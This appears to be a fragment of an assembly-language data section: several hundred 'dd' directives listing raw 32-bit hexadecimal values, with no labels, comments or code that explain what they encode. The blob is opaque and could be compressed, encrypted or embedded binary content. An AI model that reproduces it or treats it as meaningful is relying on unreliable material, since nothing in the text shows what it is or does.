		dd 439C0602h, 2094B3CDh, 4AF0490Dh, 5680A1D7h, 0EEEF43FDh
		dd 9FEC8F48h, 0E5875F07h, 0CF0656D1h, 0AC2F00F0h, 377157C9h
		dd 0A0D28B81h, 45EDA600h, 382DE38h, 9E0BBDE7h, 0D10356D9h
		dd 0D8ED03CAh, 8330986Dh, 1D3FC64h, 3BB9E365h, 0D3AF5EBCh
		dd 2D91E812h, 3D095800h, 0DB3038h, 652EF511h, 93F9F07Ah
		dd 6BB21B1Fh, 0B9A007Dh, 9FD601A7h, 78E0C7h, 0BC98ADD5h
		dd 12FE49ACh, 80E51C00h, 0EBA10558h, 8AA600CBh,	0ABBEEE02h
		dd 62006C21h, 4D4912C6h, 8D880Dh, 0E9816482h, 0ED3135A8h
		dd 54A13Ch, 9CCA1C9Fh, 10DC4CDh, 0FD3CFE55h, 80A8F986h
		dd 0CA23C820h, 78D81Ah,	0C2AC247Fh, 0E7F45ECDh,	0B771363Dh
		dd 0FE028ADh, 0F34EE3h,	0BC92F5FCh, 0AFDA474Ch,	133D89Dh
		dd 0DD4F7132h, 80512513h, 5CC34A30h, 86E480h, 0B7B067DEh
		dd 0C2A07746h, 0B0235Ch, 957D2EA9h, 0C7E62A7h, 7F999694h
		dd 0A3072170h, 30AAC9A2h, 0F0E90A60h, 60037EDCh, 0CB26B8E0h
		dd 0D90E3531h, 8082D3C5h, 66BE149Dh, 1DA38A7h, 1CAD07F5h
		dd 20C7EC1Fh, 0D311335Fh, 48978C14h, 0B4686094h, 6EF220h
		dd 0CFD2A9CCh, 0F5BF4575h, 0AD79D2A0h, 0B847E500h, 0BC93F20Ah
		dd 88C91801h, 0B483B06Ah, 12464B00h, 57161874h,	85FA00BCh
		dd 0CF9687D2h, 0CC0160ADh, 144BD02Eh, 6CC4038h,	10CE0091h
		dd 3EA4F484h, 82E4E757h, 90D57C00h, 27BDC1D6h, 9BB903C3h
		dd 0AC25EC84h, 0DCA97490h, 94FA8303h, 0F81AE39Ch, 744EBC34h
		dd 0F8105B7h, 80976F72h, 13E63146h, 0DAE1A100h,	51226726h
		dd 1DFB00A8h, 0EDCD694Ch, 0D1CF63Bh, 0DDC28720h, 877E5279h
		dd 142039CCh, 12E976h, 0FD8036BBh, 0FF11ECADh, 7A4CD600h
		dd 0C8D9DECCh, 25BD3CB1h, 5C934687h, 3776C3BBh,	0E0DEFE81h
		dd 86180884h, 32307B39h, 50EA0005h, 0A14EA86Ch,	0D4005DADh
		dd 0CF207F9Eh, 0A5D933h, 9C9DDBC6h, 0F1FB1525h,	50BE3610h
		dd 0FE934100h, 0EFC3EEAh, 5ADED40Ah, 5F501C21h,	7B7EC67h
		dd 0E14EA1DCh, 0DEEA02E2h, 3ACF1E21h, 0EA41020Eh, 7C00A77h
		dd 9E701C81h, 0D43D5C0Fh, 0B054345Eh, 13E16BFh,	4EA7966Ah
		dd 48AC4721h, 89E28E10h, 5CC75103h, 8CEC14Eh, 35731E90h
		dd 384D83F0h, 80D052D4h, 0FF2F1461h, 1AF018EAh,	52601780h
		dd 71C0169h, 453E34D4h,	0FC603DC8h, 6469B17Dh, 10F088F9h
		dd 0D31FA860h, 0C45D54D4h, 0DC36828Bh, 0DABF900Fh, 0A88748Dh
		dd 0F40660E1h, 3638A21Ah, 22577EDCh, 8120FF14h,	0D8BE29C2h
		dd 10278214h, 2121FAC0h, 8C5EFEA4h, 0AD98BD02h,	0C101C069h
		dd 0E85E05FAh, 0CAAF0D1Eh, 80BC5E77h, 8185C9ECh, 84059821h
		dd 0FE23BA41h, 0AB9643Ch, 0DD8B6C19h, 630A8CC4h, 0FE532171h
		dd 448C054h, 81DC0236h,	0FE24E8A1h, 0B1E5878Dh,	41D9CC1Fh
		dd 0D4261000h, 0A15218BEh, 0D441D1FFh, 0E83F74B1h, 0A8407A67h
		dd 183B48E9h, 31B10131h, 0EEFEE069h, 7186262h, 97CB424h
		dd 0F1D3B793h, 3A81F021h, 4F340269h, 0C96B815Ch, 51BEAF01h
		dd 0D4401EE8h, 1A0FA2DFh, 2174E18Bh, 0CC2418Ah,	4FEA21E1h
		dd 0CEC78168h, 0DCBA74h, 0F3A7C1h, 9DE9BEFEh, 71449F08h
		dd 0B83E2498h, 567E09F4h, 6F680670h, 6B610170h,	1B5FA14Dh
		dd 95088757h, 66C38A2Dh, 0EF200F0Dh, 0FC84085Ch, 1849EFFh
		dd 7EE51972h, 2421AB3Bh, 14EA49D4h, 0D466CAFEh,	0F0F50514h
		dd 0D84C4F14h, 43F82D37h, 70771FBFh, 0C1A00F51h, 767ED030h
		dd 8EC4FD50h, 19D8EB3Ah, 0D202E77h, 0DE635E00h,	0F9D660F9h
		dd 0DFD7D8E9h, 0EA6F9EF0h, 0E00AC708h, 81147EC2h, 6A4FFEF0h
		dd 0D4864094h, 3A961E0Ch, 3863F908h, 5525C018h,	0C3E02C08h
		dd 3BBC9815h, 3E079DF0h, 40D9D75Bh, 0DF08A6A4h,	7ED02760h
		dd 1DC3596Ah, 3CA504DEh, 0A183ED81h, 4351C09Fh,	8B9D2ECh
		dd 8856317Fh, 0C532018h, 2C08591Eh, 0FF1F18C3h,	2A083258h
		dd 0BF021D19h, 0E49F03E5h, 797F080Ch, 0CDE2207Dh, 0E1280661h
		dd 0C0383795h, 0AFF42284h, 0D45B485Ch, 0A048D24h, 1BCD01Eh
		dd 8540BDEh, 4211DD1Fh,	346FA1D8h, 7B660F9Dh, 0E049CD12h
		dd 29148E78h, 0BE140182h, 908C6EC5h, 34100120h,	0D5500E63h
		dd 89101819h, 0A39030F3h, 6F4AA8A0h, 2F485490h,	617E0C58h
		dd 743D8810h, 503FF01Dh, 9083CC72h, 0A0A1245Ch,	9007F88Ch
		dd 54409A18h, 98CD41F0h, 3D108800h, 1AE2109Bh, 98E12C6Dh
		dd 5AF09424h, 0C40B713Ch, 0DFAF8151h, 482A2E8Ch, 2E5BB09h
		dd 60A22188h, 9E93E88h,	30FF0852h, 0BBE5003h, 48B10922h
		dd 0FE097869h, 800339A3h, 98143783h, 24882CCDh,	0F02660A2h
		dd 19881C14h, 318049Bh,	493E4020h, 12121C1Eh, 420C08AFh
		dd 187D4FF8h, 0A873A7AEh, 0CCA9FCC1h, 3E088263h, 4DD9CCBCh
		dd 8EF28104h, 24E49618h, 0B4AEB3FCh, 1028AE3Eh,	10E40B6h
		dd 80207003h, 3FA156CCh, 0D9DA4F15h, 51B5B0BCh,	0A18244CDh
		dd 6B0ED104h, 18808780h, 986C7E5Eh, 0F16A1150h,	0E003B0D7h
		dd 75942090h, 0FD2D410Ah, 19D98CD6h, 88AF86D4h,	6D0511E1h
		dd 0CB597ECCh, 9088878h, 528BDE55h, 1A201427h, 65EF01F8h
		dd 0CEE2BECCh, 880578B4h, 84651179h, 4B37B0D1h,	0FA3420h
		dd 2CC3323Bh, 2B5EF757h, 246B0238h, 642308AFh, 8885D041h
		dd 3CC15184h, 38B8822Dh
		dd 0D898BC88h, 1C18E813h, 61387126h, 0B4355064h, 38C0D0EFh
		dd 0D56DBAF0h, 724620h,	26E0E301h, 27D46043h, 0FBA3030Ah
		dd 1FD8A0D6h, 536718BFh, 62A14083h, 88E01093h, 0C02AD306h
		dd 1C094131h, 0C8731EF9h, 6CC3260Bh, 3E4482FFh,	0D6E0857Ah
		dd 0E0DE0092h, 1AB24174h, 0D8018497h, 1D05883Ch, 798F3EA4h
		dd 1BE320D0h, 0B9DE01F9h, 7E233207h, 0CD028FFEh, 0AE83053Ch
		dd 377F7480h, 618575D3h, 6481083Ah, 5A05EDAh, 1E5F0C5Ch
		dd 4381BC44h, 986C6C84h, 0DF5C08F9h, 2100705Eh,	1ECDE644h
		dd 1E87477h, 6B086DDEh,	207B4CC0h, 5B51A5BCh, 1EA81AE4h
		dd 0A708C0C5h, 2BC10074h, 8EBECDE9h, 121C1348h,	0C00C0A5Ah
		dd 0AD9F4884h, 0BE190298h, 8C506709h, 0D6E6107h, 32007EF9h
		dd 0E8E1206Bh, 86E00170h, 0C8406CC0h, 0B7A0F067h, 6608AD60h
		dd 716065BEh, 5C749871h, 61148C78h, 5F17AC93h, 0CC604587h
		dd 10F08173h, 0F7A030FBh, 5E2608B8h, 8020A8B5h,	5F0E8B0h
		dd 50B004B8h, 11503A63h, 71082667h, 271E06B0h, 56202839h
		dd 8516368h, 0E88EA9DEh, 186BF131h, 9460A785h, 0C3530577h
		dd 1CABCC5Eh, 8CC42C8Ch, 1030A2D3h, 0C26C09Ah, 5B01C855h
		dd 1E61847Fh, 6041A1C7h, 0C6C17874h, 215D5E08h,	0D7CA4414h
		dd 0A75B22B8h, 0D5078214h, 0B0A11FACh, 922D9A01h, 38398h
		dd 0A0DE3ABEh, 98364A9Eh, 38FC3A14h, 9A1E00Bh, 0C080A170h
		dd 3761EAA0h, 64F7B318h, 0C1C2E9E1h, 0B86041C0h, 10C032FEh
		dd 287099A0h, 244C8D59h, 6106A0EBh, 0EC08F15Fh,	3121F0EFh
		dd 2AD8054Fh, 3A308A30h, 41129C3Dh, 845EFC06h, 0B4DE30E0h
		dd 5D9A3EF8h, 0A68B68CBh, 0F8702E44h, 0B341C9D7h, 310EA861h
		dd 7CD805D8h, 0C11DAA60h, 0A02066F5h, 12F94615h, 0DAD755Eh
		dd 5B889ACCh, 28004F4h,	41423DA6h, 0A840E7AFh, 0F709A9C4h
		dd 0E028B3Eh, 0A0684CF8h, 0D7CC2418h, 0FD8863E8h, 84BCB02Ch
		dd 8991C4E0h, 31D492EEh, 0A30426E1h, 0B4EFC2C7h, 0EA39843Bh
		dd 14E0EB09h, 26C8928Dh, 0F401880h, 0FE039630h,	87BE857h
		dd 0A540F4A0h, 0CA20F0A0h, 7FB0E348h, 0E098FF5Dh, 3050B2E6h
		dd 21F85832h, 0A90E7749h, 82790323h, 4F5C59A3h,	637601F8h
		dd 18F913Ah, 808C8AC1h,	0DEE06260h, 3C0B394Bh, 7974A27Dh
		dd 14CEFFFh, 0C3040645h, 2D20346Fh, 26847658h, 5E06E494h
		dd 59085C2Fh, 59F048BCh, 9822C802h, 68625D6Fh, 71800DF1h
		dd 0A18410BEh, 14BBFCF6h, 0B0EBE8C0h, 185649D2h, 78FD5F16h
		dd 0AC15C270h, 9E86872h, 0CD227AE1h, 765A807Ch,	0AC05A012h
		dd 0E2280090h, 700C40Dh, 469EF7B4h, 481ECCA9h, 3E0E00BCh
		dd 39FEA90h, 7EF77D99h,	185D2F8h, 1D8C149h, 21841DD0h
		dd 8427F624h, 5AF9C181h, 21A4240Fh, 8FED001h, 0D28FFFBFh
		dd 343084D9h, 12B9035Eh, 95AEBEF9h, 8CC6102Ch, 13837E06h
		dd 52412430h, 36D1324h,	3CE2044h, 0A3F460A0h, 0DC02E490h
		dd 0B73EEA4Ah, 8A9C4166h, 4DDE8841h, 6CD40831h,	0F448CA5Bh
		dd 3ED050C4h, 1D03AE38h, 528EA6DCh, 0BFB100D6h,	3ED91C6h
		dd 5CB94D5Fh, 3EC9479Eh, 401848D1h, 480A231Fh, 31C52A40h
		dd 1B67D89h, 4D603C98h,	4AA406F9h, 5B0D021Ch, 0FC59D71h
		dd 43280AC0h, 7E034939h, 7840B8B6h, 0E005A3B9h,	253D20h
		dd 0A4996FEDh, 10F94701h, 0D9446C07h, 19430E55h, 39100092h
		dd 0FC9D653Ch, 2100D664h, 71EF497Dh, 0E8DF96F9h, 8C5A00D9h
		dd 0A120BCAAh, 313AF8E3h, 159800A0h, 6F5980DDh,	79623CEDh
		dd 7488AD31h, 1D38D0A6h, 5902837Ch, 394D613Dh, 6C9607h
		dd 1FD6A7ADh, 71C529F6h, 79303C61h, 40EA3CAh, 2307E5F8h
		dd 0C3331141h, 0B1105751h, 5725A0E3h, 854B33C8h, 949AA00Ah
		dd 73D8B04Ch, 379777Bh,	51C52B10h, 0C00882DAh, 0D8506FA3h
		dd 5000338Fh, 0C52C34BEh, 5088D6F1h, 538DB062h,	37C01C4Ch
		dd 5F4DE20Eh, 95F89181h, 631C934Ch, 0F7B882DFh,	10C0FECAh
		dd 0B2516B25h, 11B0C41Ch, 195AC086h, 40936142h,	6295F6C0h
		dd 0D4B2289Dh, 0EFCC0190h, 5EB4D96Fh, 8A041B4Dh, 908EB6C1h
		dd 0C4A3515Ch, 0B55C70CFh, 0BD80A774h, 0C2D39122h, 0CAB3F138h
		dd 29611040h, 0B75D200Ah, 0FCA324C2h, 2FA81D60h, 48C460F3h
		dd 0E106091h, 0D1703D0Eh, 8A578521h, 1884A078h,	898CB245h
		dd 0D9048831h, 898A596Fh, 0B0E90C98h, 0C53AFC72h, 20CE1949h
		dd 0B54D3808h, 8094F856h, 0FF54E8BAh, 67F183C0h, 2905EA1h
		dd 0B1C32518h, 687101C5h, 7845EA1h, 2B7DB38Fh, 1115E03Ah
		dd 0C3D3E07Ch, 61B2636Bh, 51C237B1h, 85802C4Dh,	3B86384Fh
		dd 71C612C0h, 18C87D42h, 71061420h, 2B116F1Bh, 0F0255070h
		dd 3A6D7939h, 5B01D8E6h, 87FBD950h, 8494D04Ch, 0C0306253h
		dd 605355F3h, 10949095h, 1588F651h, 0A07C9497h,	3090700Ah
		dd 0F1887C99h, 12FCE17Dh, 0F004114Dh, 26727338h, 0E30DE43h
		dd 5921BD91h, 5E9569F2h, 45E203E4h, 1C6FE876h, 9A2A3170h
		dd 0E83C393Ah, 278DB806h, 0FCE04F18h, 59E304C6h, 789569D2h
		dd 85C23826h, 1C713960h, 0F2155821h, 0A0709213h, 20655BDFh
		dd 1101DD9Eh, 9259D93Dh, 21E93B5h, 9D0A990Eh, 0A0B10710h
		dd 85525806h, 0D3809447h, 638E9B18h, 5C35180h, 5032580Ch
		dd 381884A7h, 5B07EE70h, 0BDC1D2A5h, 0D9E5F1F3h, 1FB5259h
		dd 7DA32B0h, 619F1258h,	2C85B38h, 87418C8Fh, 0F19100D6h
		dd 197D7A26h, 788754B2h, 6C0C3C01h, 0B8B9318Bh,	61465A6h
		dd 8B18899h, 0B6ABD00Ah, 8C707C78h, 3A1714F1h, 267E98AAh
		dd 1524D501h, 2AB07C38h, 0E71261EBh, 0C005CE28h, 0B481C25Ch
		dd 745AA73Ch, 74711002h, 0ECA0C46Bh, 194C4F80h,	8C06D75h
		dd 7259E4FBh, 7CA75657h, 49155780h, 0D058D70Dh,	49893210h
		dd 0ACB9017Ch, 57C5AA6h, 0D46BDB69h, 2551DC47h,	0B5F40E29h
		dd 0C4E5B07Ch, 0D2B731A1h, 0E482F1C0h, 0FD2B594Ch, 7D447CACh
		dd 94500581h, 7591B440h, 0FDA8C99Eh, 0D968E48Ah, 0D508C8E4h
		dd 1831A9C3h, 287013ECh, 0BB487882h, 0FE49877Fh, 1E627EA0h
		dd 409DFF39h, 90ED54BCh, 0AD232BA4h, 12E74078h,	6C28A7C5h
		dd 2561F4CFh, 9F373948h, 62AD9842h, 80E4B68Ch, 489353C8h
		dd 11096CE9h, 0C402BAC9h, 0F0BCAD28h, 0D3ED870Ch, 32B13994h
		dd 0FD78B9EEh, 6F3B7CB6h, 0D53517D6h, 0A4D30044h, 49A80C83h
		dd 54B054A8h, 312ACE29h, 0F80EECD3h, 0CC194F62h, 9332E894h
		dd 2A7AE06Ch, 0F0A44FE4h, 0D9B0EA62h, 81644F39h, 3B721361h
		dd 317880C5h, 594F0FF2h, 88CFBB9h, 9B8863ADh, 0E6999CA0h
		dd 0A9E47E50h, 2420E948h, 0A0972423h, 0C5F90004h, 3A5238C0h
		dd 0C08093A7h, 982031EFh, 3110D649h, 0C4D968D3h, 64ECF8A0h
		dd 9F0370BBh, 4E910E10h, 0C44F12D5h, 79B85871h,	0F4BD505Bh
		dd 39A0DE6Eh, 2688BCA8h, 0C14C17Ch, 0FBC8514Eh,	54EC7F50h
		dd 24503F24h, 86C3DD8h,	29D7D82Bh, 0E342B200h, 93BF0AF8h
		dd 1312C7A0h, 391FD689h, 0E3C135B1h, 506F70B8h,	0C4C12426h
		dd 8F074881h, 0C1A451D9h, 0B9DD78E3h, 802B38D0h, 82492259h
		dd 212BE02Ch, 495B6038h, 0E38C94F1h, 90E0D814h,	853F12B0h
		dd 0F23BA078h, 0F45E58DDh, 88927B86h, 0F00C9F59h, 10781BA2h
		dd 729D2ABh, 38E8B5F5h,	0D0040EE5h, 50097F74h, 0B7D90483h
		dd 9F331910h, 95F40A24h, 9A19D071h, 20CD18BBh, 24F9B944h
		dd 2C004110h, 1B7D32ACh
		dd 78A812ADh, 9652303Ah, 6C1C9208h, 0F0E32F8h, 0B2E158h
		dd 0E933F89Eh, 0D45D02DFh, 32B1CBCCh, 479740F7h, 0DBAC00BAh
		dd 3D9C792Fh, 0B400AF31h, 57FB38E2h, 1EB5423h, 80B38526h
		dd 6F72B2ECh, 0DB7442C0h, 3EAD7901h, 923FE6FBh,	9707906Fh
		dd 0A8D2C318h, 0E066107Ch, 3980619h, 0AC258AF2h, 9189A72h
		dd 84D027DAh, 1FD2F839h, 18ADD1B8h, 8E12E8FEh, 2A9220C3h
		dd 51E81826h, 2BE85817h, 28FD38CCh, 18066E72h, 0B19B0093h
		dd 0F84908D2h, 6F28733Fh, 5DF12108h, 54008694h,	0FE7E2E97h
		dd 8439E029h, 9A5D3EC0h, 0F463409Dh, 124C8B03h,	30030C93h
		dd 0B24096E0h, 0AA42D071h, 0BE608CDFh, 231859B8h, 13408D94h
		dd 206D72E1h, 0F2469E32h, 0E0BB7580h, 80C0FAA5h, 0C072C434h
		dd 6E9400B6h, 0F161D312h, 8B147386h, 0F064ADFEh, 30DE5BCFh
		dd 0D488291Ah, 46050C0Dh, 0ADFFA457h, 1CF603Ch,	901C856Dh
		dd 0FC742355h, 1228A56Bh, 5C87FC54h, 6B3A9382h,	238B6089h
		dd 99E0D14h, 5B393746h,	0C045033Ch, 40DCF3Bh, 7A6CB438h
		dd 0A0487A5h, 2890D070h, 234025F0h, 21FD0754h, 67819746h
		dd 0FE984247h, 2A0A74B4h, 0F496244Bh, 0D1789766h, 4AA07438h
		dd 0AF608F83h, 5CD49439h, 74337C12h, 0CCB30F4Dh, 580486D8h
		dd 1F4880C9h, 0E3E89E3Eh, 93156BB0h, 0E088FE6Fh, 3026501Fh
		dd 34D828C3h, 0FCA0D51Eh, 0B156CC2Eh, 71EDC188h, 80C60152h
		dd 96BED4A4h, 1FC2F2A5h, 4A938654h, 0DB88B1F3h,	0C5944ED0h
		dd 0FC5BC928h, 78017A31h, 53D07122h, 865D3A1Fh,	0D850C849h
		dd 945BE9F5h, 447EE501h, 205C36CFh, 0A5EEDD08h,	2E403218h
		dd 9651850h, 598B72E1h,	0CE99B003h, 825D0C7h, 95FA330Fh
		dd 395A30C4h, 0D0DA5C83h, 1052E0h, 3AF3850Ch, 6738960h
		dd 0D3152278h, 0A048F65Dh, 3FDF5A5Ch, 34C89472h, 8062A248h
		dd 0CC4064F4h, 8C363E0h, 89131B17h, 908ED04Ah, 0F36E6F8Ch
		dd 5C08706Ch, 0B0A468D1h, 0F0845582h, 5468C7DCh, 0D2E0E15Ah
		dd 1960BAC0h, 40C82807h, 6EF20A30h, 8486682Eh, 6828F083h
		dd 0D1D19057h, 987AB3F8h, 0A03251CAh, 60AF4B0h,	0C0B3188Eh
		dd 2528A8D3h, 8C06ACCEh, 64774636h, 813CAD50h, 0E109BBD6h
		dd 94B880CFh, 53189378h, 609E4C49h, 7C8F440Dh, 3B41F48h
		dd 5644E85Eh, 34980237h, 93131AF1h, 0B30FD560h,	0C0A02D57h
		dd 0B36A88A9h, 284490CAh, 269CE6D4h, 0F80808F2h, 0C5E4D8A1h
		dd 3F60B449h, 0B1805091h, 817CFC56h, 2D5EE569h,	0B35448D6h
		dd 270ADFCh, 0EB5A65F5h, 0E9B4F0A0h, 0D3151377h, 0A06CFCDEh
		dd 31153577h, 54683889h, 0B33888EAh, 0E06C21B9h, 0B4608B77h
		dd 0C8F488A9h, 0F214A513h, 58CC6D90h, 29D45013h, 22F0AA60h
		dd 776E61h, 0B2A57BF4h,	13882548h, 89D3F01Dh, 86D1E30Eh
		dd 1D1811F3h, 3C24B553h, 0EF81E38h, 838F7FB3h, 895FDD83h
		dd 30AD47C1h, 0A74C8B68h, 4711824h, 188E5310h, 82452E1h
		dd 747C7E32h, 7399D317h, 60944000h, 582472FFh, 0AB139C16h
		dd 0B9AC031Ch, 43E09E44h, 34385DC4h, 9ED0D7FBh,	0E6A40A02h
		dd 934C48D0h, 4C32EAB3h, 4D74D84Bh, 131DCFFh, 3027D1D1h
		dd 0E4AFE410h, 1761B882h, 345068F3h, 1DC09096h,	0FB2EBF2h
		dd 6038C092h, 10137BB0h, 34153h, 33D9AF13h, 0F308FFE8h
		dd 0C2C7DA83h, 8880AC18h, 0B4660E4Bh, 8F5B724h,	335F2AF0h
		dd 0D4D94080h, 1224709Eh, 97F8FC04h, 9110B0DCh,	0AF150AD4h
		dd 23C82488h, 0CAEAC0A4h, 7491B043h, 7011B90Ch,	94FD574Bh
		dd 84511581h, 0B4398597h, 940B983Ah, 0B30C010Ch, 8040F081h
		dd 245E8748h, 0F884E4B4h, 0F0FB8141h, 1A804208h, 5B4A07Eh
		dd 57589085h, 40C08003h, 0C37F3BEEh, 46BF480h, 87D2A584h
		dd 209CC2A0h, 2598746Fh, 92ADD7C0h, 45813228h, 0FCA5CEC8h
		dd 63887C08h, 0A8B4F08h, 7B340665h, 4D3A786Fh, 0AA730C02h
		dd 4CBA0801h, 271BC4D4h, 0FDDA6070h, 0EA0A8CBCh, 0B4FCBE8Dh
		dd 6E86D486h, 50A76148h, 94D3E293h, 17BC3208h, 941F4513h
		dd 0F128775Bh, 84417DDCh, 0C0951EE7h, 0D2F0A42Ch, 0A49130Fh
		dd 1A740C40h, 57CB4804h, 0A783A035h, 0CFEA42E0h, 8AF61401h
		dd 7C659892h, 821552B8h, 0DDC77DFh, 388B0AB4h, 87184FD6h
		dd 0C7A5E9D9h, 0B313F8DDh, 84B987Ch, 0C9C2A37Ah, 871B7789h
		dd 0BC0B183Ch, 0EE5D5CBCh, 9DAC7A3Eh, 5EA444h, 295F342Bh
		dd 0C40FAD94h, 0B3ECB77Bh, 0AA5E0E07h, 6ABB7641h, 51B01829h
		dd 0B9009AD4h, 34295EDAh, 16E1CF35h, 549AC92h, 81620500h
		dd 93794720h, 68039E08h, 247BF3F2h, 0B580508h, 8887AA12h
		dd 0FC8AF9B2h, 52183006h, 1490541Ah, 285D6631h,	88309BC7h
		dd 10EA627Ch, 0C416C3Ah, 59AC28A3h, 0B5F700A8h,	4D9383A4h
		dd 0F47D74BEh, 3C898DEh, 33F81095h, 0C0A473DFh,	0D45E886Ch
		dd 54E8B0E0h, 0A410EB29h, 3EC5A3F0h, 0F848A456h, 1C131416h
		dd 0B026CE54h, 825D81Dh, 47642B53h, 0DCA787D8h,	93175780h
		dd 0A8A06C1Fh, 0F20E77B4h, 1546F45Dh, 0D6B1A01Ch, 0F9CC1270h
		dd 0ED240058h, 43B45DC3h, 14E338C7h, 0D03D3153h, 0E252A8Eh
		dd 19FBBF1Dh, 224E7423h, 0E9128098h, 2C478302h,	9441E824h
		dd 8D2E0418h, 97DA709h,	99358089h, 74488664h, 341B522Ch
		dd 906637C7h, 0A8A58763h, 49162805h, 4C38A42Ch,	2F240CBEh
		dd 0C8308894h, 8CF93706h, 0E93815E4h, 0A22D031Ah, 187149C6h
		dd 383269A0h, 7856DF44h, 0E1409E6Ch, 90CC7561h,	0E6091812h
		dd 0A37D38F7h, 605A970Fh, 0FBD5C35Ch, 4F15A05Bh, 0B5C50122h
		dd 7CBB26BCh, 20BC71h, 9A98995Fh, 297E2C6h, 8E2E24C1h
		dd 0E88EE4D9h, 14651861h, 0B2F03A03h, 0F81D035Dh, 98D0EDA3h
		dd 4B7D5A89h, 0BA03001Ch, 2149E1B2h, 74BC0FF6h,	654C90EDh
		dd 1CA71A70h, 0E3308801h, 1C000B99h, 90032394h,	324D871Ah
		dd 0DA411011h, 0B5FFF08Fh, 65382CACh, 947C003Dh, 40DA6E0Eh
		dd 80749256h, 0B798D37Ah, 8F78C058h, 8EF213E9h,	0EEE80F71h
		dd 0A0345B03h, 0A031C6CEh, 0F90EFC2Eh, 14E78C8h, 0D9AF32Dh
		dd 87C05327h, 54193310h, 4F6904CFh, 7318350Ch, 0F5161C00h
		dd 0E510E312h, 39D93C92h, 3C963207h, 7084AEBh, 0C2E51138h
		dd 0CD001C67h, 0F85458AFh, 26A7007Dh, 8F7E1E16h, 28751DD6h
		dd 5F3A8600h, 27129320h, 6A4D06B2h, 38E913B0h, 7A2DD410h
		dd 3C5727E0h, 1355991Dh, 5DCD5280h, 2C84F3B0h, 14C858A9h
		dd 0D2A01C79h, 9A44A08Ch, 7676F472h, 706803AFh,	69F633B0h
		dd 2024B3A0h, 251F5898h, 23AAF1Ah, 0B9D3A95Fh, 3968B4AAh
		dd 0E83A9187h, 60F7C841h, 9953B018h, 0A52E1438h, 6DEC8168h
		dd 8C77608Bh, 98FE3238h, 88E05453h, 5490C01Fh, 0D45F0DC1h
		dd 53987367h, 93B03000h, 983682C3h, 0D5B68D0Ah,	0D286B433h
		dd 0F2E825F4h, 398AFAAh, 6AC5E025h, 57F2393Bh, 0A1A6C1E8h
		dd 0C9805632h, 965AC092h, 0AF57C9F4h, 93858180h, 69806F27h
		dd 0AF5FCAB2h, 0D003CF3h, 0E6C372E5h, 90B1D2ECh, 0D1121E34h
		dd 679207EBh, 2332C169h, 0CA1092E7h, 0F1C7Ch, 5C276E53h
		dd 55522C91h, 0F464AB01h, 0B3AF7749h, 93D07CE9h, 0F310C30Ch
		dd 9FB0D8E4h, 0D005B82h, 0A490EA3Fh, 65EA15Fh, 2143015h
		dd 94E872FEh, 0EF3A4900h, 3797C383h, 5E7D0295h,	0CDFA48Dh
		dd 0A91E1896h, 1858CE80h, 3D402911h, 34B0AF48h,	0D8A92640h
		dd 93E2FF39h, 2BBC31Ah
		dd 5D7A1F90h, 56002895h, 796CBC5Dh, 0DBE43Bh, 0DD95324Fh
		dd 0BF0CF616h, 750ED3Ah, 134243DFh, 0F9A0D40h, 89990F9Fh
		dd 0D740BFF1h, 8162631Ah, 0B8307CADh, 5446BD68h, 443D341Eh
		dd 8C04E7Ah, 0D703C7Fh,	4D5F011Fh, 9116031Eh, 0AE65F0D8h
		dd 0D7BFF000h, 779FF16Ah, 1EE37C9Ch, 0EDF3650h,	3F864A30h
		dd 5AF18861h, 0B4F064A8h, 6F589D28h, 0DDB85A04h, 0C23FD806h
		dd 4E03F8F5h, 107F0FA4h, 7BC6C7F2h, 4AFF0010h, 7A431F6Ch
		dd 6230E9AFh, 0F3DFA817h, 5120C093h, 795FF0EBh,	3F0EEC74h
		dd 8CF1DB59h, 31DF10D4h, 78D0C833h, 0F95FF09Fh,	1F18B07Ch
		dd 0CB18A2BEh, 56E8C606h, 0BC312005h, 39FB10D8h, 38C32087h
		dd 8CFC6DFh, 0A83C24F8h, 0C88B39E2h, 82F11200h,	0C8012C79h
		dd 0FD1CBED8h, 5F846750h, 0D71740Bh, 13020FDFh,	0FA52F06h
		dd 0F0A27410h, 14A67841h, 846A30BFh, 0ABFC6020h, 86CAA0A3h
		dd 0ED8E84A0h, 0CC6F9FF0h, 38DD8EC0h, 80BE0808h, 2490BD65h
		dd 9F8CED50h, 9880D8B8h, 0F5145187h, 19F8E45Fh,	0CC09B31Fh
		dd 3C9FA440h, 4AE0C484h, 0C8108069h, 0BF12E2A9h, 8079811Ch
		dd 145C0042h, 0DF431F4h, 0A7C7FF14h, 0F0E631F8h, 0D88C34BFh
		dd 1F10D1E2h, 0F5E09F54h, 6FD8D050h, 0CD7F01F1h, 10C2C098h
		dd 9D05115Fh, 0D4CBDFF1h, 3852E006h, 69573130h,	41371D10h
		dd 2282CAE0h, 8E0EA69Ch, 80BD7FD4h, 0A3668A7Fh,	80410BB0h
		dd 0F664980h, 0F7F8C428h, 0F07682Bh, 107942F0h,	33A09563h
		dd 9400A15Dh, 789914A2h, 0EB6F3E4h, 5AC946E1h, 9DE0268Eh
		dd 0F6BE8632h, 28A64929h, 0E5E00DC7h, 86846285h, 0B734403h
		dd 0C82086E2h, 5AE061Dh, 5EE649F5h, 0E94C38C3h,	0A401ED47h
		dd 6E20CBEh, 26A0C3FBh,	10C50E83h, 81FBD1B6h, 0F11C69E9h
		dd 0A60880A4h, 0E61D9FABh, 0E2F0C57h, 0C6C85106h, 31A1C904h
		dd 0E6C10866h, 684F8526h, 0C2B22511h, 95F40F04h, 0B5190EACh
		dd 6A6480B1h, 7966E20Ah, 29040A16h, 54A8F479h, 2440B556h
		dd 0FE02ADC4h, 95F48A26h, 0DE2108A4h, 539624E0h, 0A386141Dh
		dd 0FDA880F5h, 3B07FB23h, 1C403901h, 0D0D0C2C6h, 0F652A366h
		dd 0A0D9A288h, 7D161144h, 22B628E4h, 3D8831D4h,	0E0684348h
		dd 0F5525306h, 0B365A18Ch, 44518E09h, 461D8396h, 8249194Eh
		dd 5F61586Ch, 0B1A0194h, 9ABF76FAh, 0D3420h, 8D377E93h
		dd 4A1761B5h, 0B700A774h, 0F766539Fh, 54F35h, 64B6970Ah
		dd 76B250FCh, 18E50703h, 0D85BACE2h, 321EF81h, 31376132h
		dd 0BFA16652h, 1C4A50h,	0F228BB4Ch, 73E65EF0h, 8132087Ch
		dd 770A654Fh, 6A783879h, 61282A98h, 12AF201Ch, 4E55B714h
		dd 3958E138h, 51F40F1Ch, 4A0A70AFh, 6F601CA4h, 16A52CEh
		dd 78EBFA17h, 0D02E7997h, 305070B7h, 0D0EDFC80h, 88A07EF7h
		dd 8B05E577h, 51A5577Fh, 18088C2Ah, 0ACA2F795h,	7FD7CF07h
